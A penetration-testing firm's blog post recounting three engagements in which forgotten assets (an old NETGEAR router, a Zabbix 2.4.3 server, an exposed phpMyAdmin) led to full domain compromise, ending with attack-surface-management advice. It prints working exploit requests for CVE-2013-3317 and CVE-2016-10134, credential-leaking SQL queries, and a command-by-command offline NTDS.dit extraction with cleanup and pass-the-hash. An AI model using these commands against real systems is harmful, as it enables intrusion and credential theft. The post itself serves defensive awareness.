The forgotten hardware: your security depends on your weakest link

What we’re going to talk about today is certainly not rocket science, but it draws attention to an aspect that is still all too often overlooked by many organisations: forgotten surfaces, unpatched applications, and neglected hardware.

Introduction

Here at SicuraNext, we regularly conduct penetration testing for our clients, covering both their exposed surface and internal perimeter. As a result, we encounter a wide variety of situations and analyse a diverse range of technologies.

Amidst this whirlwind of technology stacks, topologically diverse networks, cloud providers, and on-premises servers, a harsh truth often emerges: more often than usual, customers do not know what lies within their perimeter. Scenarios vary a lot, from customers not knowing which domains they registered years ago and left to rot, to those with no real handle on their exposed attack surface, to those who can't say which devices or servers at their premises or in their production facilities are online and reachable from the internet.

What does this problem mean? It implies that, despite implementing all the existing security measures, best practices, and countermeasures within your perimeter, if the one machine you didn’t know you had is vulnerable, everything else becomes irrelevant. The security of your network depends on the security of its weakest link. Just ONE vulnerability is enough to trigger a domino effect of compromises, which, in the worst-case scenario, can lead to a total compromise of the network.

Some might argue that mine are just idioms, hackneyed concepts, and ‘theoretical laboratory scenarios’ (or maybe I should say “slops” these days? 🤔), but the truth is that even today, in 2026, there are far more organisations in this situation than one might imagine. If we then add the fact that, with the spread of AI, software is becoming obsolete and vulnerable at an ever-increasing rate, it becomes essential to raise awareness of the issue and emphasise the importance of keeping all assets – both external and internal – under control: mapped, monitored, and updated.

Some examples

As concrete evidence of what has been said, in this article, we will look at several examples we have come across in the course of our work, which illustrate this problem and the very serious consequences it can have (or, better, actually had 😼).

The "Ghost Router"

One of the most paradoxical situations I have ever encountered occurred during an engagement on a client’s internal network, in a classic ‘assumed breach’ scenario. We were simulating a compromised machine within a network of servers, and the goal was to explore as thoroughly as possible just how far hypothetical attackers – having gained a foothold via a compromised server – might be able to go. Classic stuff.

During the internal scan of the VLAN, we identified and fingerprinted a consumer-grade NETGEAR WNR1000v3 SOHO router, one of those devices we nerds love to disassemble, decompile, and crack on our boring nights.

The HTTP banner and configuration footprint matched firmware 5.20.68.0 (build date Dec 1 2010), which has been end-of-life since ~2014 and is publicly known to be vulnerable to CVE-2013-3317, an authentication bypass affecting the embedded mini_httpd web server where any URL under the administrative tree can be retrieved without authentication if the path is suffixed with what the server interprets as a static-asset extension (.jpg, .gif, .png, .css, .js).

Since the device also has a feature that allows you to dump the encrypted configuration backup, we exploited the vulnerability to download the dump and try to obtain some valuable credentials.

GET /NETGEAR_fwpt.cfg/.jpg HTTP/1.1
Host: 10.222.105.2

The response to our request was a 24,600-byte opaque binary blob, encrypted using a proprietary DES-ECB scheme with a per-block key. As is often the case with almost all devices that are a certain age, the encryption key is often publicly known or weak enough to be cracked.

In our case, the key was derived from the ASCII string XtgrBak\0 (a small variation around the canonical NtgrBak\0). We developed a fast decryptor, and after a few minutes, we were able to get Wi-Fi credentials, WAN configuration, port-forwarding rules, and — most relevantly — the admin's credentials that turned out to be the master key to the organization's critical-asset estate.

Once we obtained the credential, we sprayed it in the network, and it allowed us to gain the role of VMware Super Administrator and access every hypervisor management plane and every backup server. It also granted Local Administrator privileges on multiple hosts, enabling the extraction of both SAM and LSA hashes that allowed us to move laterally in the network, finally achieving full domain compromise.

When we explained the entire chain of events, the source of the problem, and its implications during the discussion of the report, the client replied:

Oh, but I don’t even know where that router is. Maybe it’s in the VLAN room? It’s one of those routers we used to use back in the day... I didn’t even think it was still here.

The Monitoring System Nobody Was Monitoring

Similar to the scenario described above, during another internal NPT activity for one of our other clients, while scanning internal assets, we identified a very old Zabbix 2.4.3 dated 2014/2015.

Like many outdated software releases, Zabbix 2.4.3 is affected by several known security vulnerabilities. Most notably, its web interface is vulnerable to CVE-2016-10134, a pre-authentication SQL injection flaw in the /zabbix/jsrpc.php endpoint that may allow an unauthenticated attacker to execute arbitrary SQL queries against the underlying database.

CVE-2016-10134 is an error-based SQL injection in Zabbix's jsrpc.php endpoint, affecting all versions prior to 2.2.14 and 3.0.4. The vulnerable parameter profileIdx2 is interpolated unescaped into an INSERT INTO profiles ... query, which allows attacker-supplied SQL functions such as updatexml() to be evaluated and surfaced through XPATH error messages.

GET /zabbix/jsrpc.php?sid=&type=9&method=screen.get&timestamp=1471054088083&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=updatexml(0,concat(0x7e,(select concat(alias,0x3a,passwd) from users limit 1)),0)&updateProfile=true&period=3600&stime=20160812000000&resourcetype=17 HTTP/1.1
Host: 192.168.0.67

Error in query [INSERT INTO profiles (profileid, userid, idx, value_int, type, idx2) VALUES
(16777, 2, 'web.item.graph.period', '3600', 2,
 updatexml(0,concat(0x7e,(select concat(alias,0x3a,passwd) from users limit 1)),0))]
[XPATH syntax error: '~Admin:2ac233<redacted>']

Exploiting this primitive, we were able to leak and dump hashed credentials for five distinct internal service accounts, and most importantly, to leak 272 macro entries. Zabbix host-level "user macros" (the hostmacro table) store credentials in clear text by design. Being able to leak every macro in the database meant we had a huge attack surface to inspect for discovering high-profile information.

And that's exactly what happened next:

SELECT concat(hostid,0x2c,macro,0x3d,substring(value,1,28))
  FROM hostmacro 
  LIMIT 0,1

→ '~10177,{$PASSWORD}=<redacted>'

SELECT concat(hostid,0x2c,macro,0x3d,substring(value,1,28))
  FROM hostmacro 
  LIMIT 1,1 

→ '~10177,{$URL}=https://<redacted>'   (ESXi <domain>)

LIMIT 2,1 
→ '~10177,{$USERNAME}=root'

LIMIT 3,1 
→ '~10181,{$PASSWORD}=<redacted>'

The leaked password was safely validated and provided administrative access to both vCenter and the Veeam servers. Together, these privileges could allow an attacker to compromise every virtual machine, destroy or encrypt backups, extract additional credentials, move laterally, and execute a complete ransomware attack with little or no possibility of recovery. In the end, it was just another domain controller that we claimed as our own 🚩.

Can you guess what the customer's response was?

"Wasn't that the test machine we decommissioned long ago?"

The third lesson I have chosen to present as a case study shows how a forgotten asset that is also exposed to the internet can lead to an even more serious and potentially destructive scenario.

It all began during a standard web application penetration test against a client’s fully exposed perimeter. Softwares were all up to date, the attack surface was minimal, and there was no way to gain a foothold in the internal network. A glimmer of hope emerges, however: after numerous scans, we found a very old version of phpMyAdmin exposed on the internet, with no login credentials. As if that weren't enough, the underlying database had full administrative privileges. A real gold mine 🪙.

The version of phpMyAdmin that we discovered was vulnerable to CVE-2018-12613, a path traversal and local file inclusion vulnerability that can be escalated to remote code execution on the server.

A great entry point that marked the beginning of disaster. Once inside the network, we started looking around for the classic low-hanging fruit that would allow us to move laterally. Among the various services, the most promising was a SIEM that had NFS exports that could actually be mounted by anyone:

$ showmount -e 10.10.10.100
Export list for 10.10.10.100:
/Export_1  *
/Export_2 *
/ISO

$ sudo mount -t nfs -o ro,nolock,vers=3 10.10.10.100:/Export_1 /mnt/sgbox
$ ls /mnt/sgbox
mysql-redacted/  savefile/  settings/  signature/  @Recycle/

We immediately began searching for sensitive information within the shared folders, and as is often the case in such situations, we found some very interesting information: two vulnerability scanner accounts, and an SMB credential for a different server:

$ cat /mnt/sgbox/settings/scanners/scanners.ini
[nessus]  url=https://localhost:8834  user=admin  pass=<redacted1>
[openvas] host=localhost              user=admin  pass=<redacted2>

$ cat /mnt/sgbox/settings/upload_script-redacted/112/config.json
{ "type":"smb", "target":"10.10.9.88", "share":"/Export_1",
  "user":"sgbox", "pass":"<redacted3>",
  "send_output_to":"name.surname@client.it" }

The most logical thing to do at this point was to reuse the newly discovered credential to see if it also granted access to other servers in addition to the specified target.

By spraying the password with different usernames, we started getting multiple Pwn3d! results 😈. The same string was set as the administrative credential on systems that were completely unrelated to one another, under different role accounts (sgbox, root, admin, Administrator). Among the systems affected by credential reuse were three iDRAC9 controllers and the HTTPS/SOAP APIs of the ESXi management hosts.

This level of access is functionally equivalent to physical access to the management cluster (power, virtual media, console, BIOS/SOL). It opens an alternative path to the hypervisor disk — and root on the hypervisor nullifies all guest-level controls, making a domain controller's virtual disk readable at the datastore level and bypassing EDR, lockouts, and the hypervisor/guest boundary.

We were therefore able to completely compromise the Active Directory domain, entirely offline and without ever touching the Domain Controller:

# ── 1. Locate the Domain Controller ─────────────────────────────
$ govc ls -u 'root:***@<ESXI_HOST>' /ha-datacenter/vm | grep -i <DC_VM>
/ha-datacenter/vm/<DC_VM>

$ govc vm.info -u 'root:***@<ESXI_HOST>' <DC_VM> | egrep 'Path|Host'
  Path: [<DATASTORE>] <DC_VM>/<DC_VM>.vmx    Host: <ESXI_HOST>

# ── 2. Freeze base disk + attach read-only to test VM ───────────
$ govc snapshot.create -u 'root:***@<ESXI_HOST>' -vm <DC_VM> ro-forensics

$ govc vm.disk.attach -u 'root:***@<ESXI_HOST>' -vm <TEST_VM> \
      -disk '[<DATASTORE>] <DC_VM>/<DC_VM>.vmdk' \
      -mode independent_nonpersistent

# ── 3. Mount RO and copy the hives ──────────────────────────────
$ sudo mount -o ro,noload /dev/sdb2 /mnt/dc
$ sudo cp /mnt/dc/Windows/NTDS/ntds.dit            ./loot/
$ sudo cp /mnt/dc/Windows/System32/config/SYSTEM   ./loot/
$ sudo cp /mnt/dc/Windows/System32/config/SECURITY ./loot/
$ sudo umount /mnt/dc

# ── 4. Cleanup — no artifacts left on DC or datastore ───────────
$ govc vm.disk.detach  -u 'root:***@<ESXI_HOST>' -vm <TEST_VM> -keep -label 'Hard disk 2'
$ govc snapshot.remove -u 'root:***@<ESXI_HOST>' -vm <DC_VM> ro-forensics
$ govc snapshot.tree   -u 'root:***@<ESXI_HOST>' -vm <DC_VM>     # empty

# ── 5. Offline hash extraction ──────────────────────────────────
$ secretsdump.py -ntds ./loot/ntds.dit -system ./loot/SYSTEM \
                 -security ./loot/SECURITY LOCAL
Administrator:500:aad3b...:<HASH_ADMIN>:::
krbtgt:502:aad3b...:<HASH_KRBTGT>:::
... [320 domain accounts in total] ...

# ── 6. Domain Admin validation (pass-the-hash) ──────────────────
$ nxc smb <DC_IP> -u Administrator -H <HASH_ADMIN>
SMB  <DC_IP>  445  <DC_HOSTNAME>  [*] Windows Server 2022 (domain:<DOMAIN>)
SMB  <DC_IP>  445  <DC_HOSTNAME>  [+] <DOMAIN>\Administrator (Pwn3d!)

Of course, as soon as we identified the issue on the exposed perimeter, we notified the customer, who immediately shut down the machine, thanked us for the heads-up, and told us that it was an old test machine they thought they had decommissioned long ago.

Once again, the path to full domain compromise began not with a sophisticated exploit, but with a forgotten asset nobody was managing anymore.

Conclusion

None of the three chains required sophistication. A 2013 authentication bypass, a 2016 SQL injection, a 2018 LFI — all public for years, all patched upstream long ago. The patches were never applied, not because someone weighed the risk and accepted it, but because nobody knew there was anything to patch. That's the whole lesson. Every one of those assets was invisible to the processes that should have covered it: no owner, no scan scope, no monitoring, no alert. And each one was quietly holding live credentials that turned out to be valid elsewhere.

Attack surface management and continuous monitoring are what close that gap, and it only works as a continuous process. A point-in-time inventory reflects what people believe they have; a discovery running continuously reflects what is actually reachable today. Any new items that appear should be attributed to an owner, brought into the scanning and monitoring scope, and treated as in-scope until formally decommissioned, with "decommissioned" meaning verified against evidence rather than assumed.

Software is ageing faster than ever, and the window between deploying something and inheriting a liability keeps shrinking. Knowing what you own remains the cheapest control available and the prerequisite for every other one: you cannot patch, segment, or monitor an asset you've forgotten about, and attackers have no reason to work harder than your inventory forces them to.